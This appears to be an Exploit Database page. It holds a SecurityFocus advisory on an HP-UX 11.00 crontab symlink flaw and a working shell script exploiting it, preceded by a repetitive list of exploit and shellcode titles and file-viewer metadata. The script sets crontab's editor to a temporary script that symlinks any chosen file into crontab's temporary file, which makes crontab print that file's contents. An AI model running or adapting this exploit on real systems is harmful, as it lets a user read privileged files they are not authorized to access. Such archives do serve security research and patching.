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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
44 lines
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1.4 KiB
Bash
Executable file
44 lines
No EOL
1.4 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/1845/info
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crontab is a binary in the cron package of the HP-UX cron implementation which allows a user to create a file of scheduled commands. A vulnerabiltiy in crontab exists that allows a user to read any file on an HP-UX system. crontab as implemented with HP-UX is a access controlled binary. Users are permitted to run crontab only if they have an access entry in the crontab.allow file.
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To create a crontab, a user must execute the command "crontab -e." Executing this command launches the vi editor, creates a file in the /tmp directory with the ownership delegated to the user running the command. While the file exists in /tmp, the owner of the file may spawn a shell from vi and create a symbolic link to any file on the system. After exiting the spawned shell, then quitting vi, an error message will return the contents of the previously symbolically linked file to the standard output of the user.
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#!/bin/sh
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#
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# HP-UX 11.00 crontab
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#
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# Kyong-won,Cho
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#
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# dubhe@hackerslab.com
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#
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# Usage : ./crontab.sh <distfile>
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#
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#
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if [ -z "$1" ]
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then
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echo "Usage : $0 <distfile>"
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exit
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fi
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cat << _EOF_ > /tmp/crontab_exp
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#!/bin/sh
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ln -sf $1 \$1
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_EOF_
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chmod 755 /tmp/crontab_exp
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EDITOR=/tmp/crontab_exp
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export EDITOR
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crontab -e 2> /tmp/crontab$$
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grep -v "error on previous line" /tmp/crontab$$
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rm -f /tmp/crontab_exp /tmp/crontab$$ |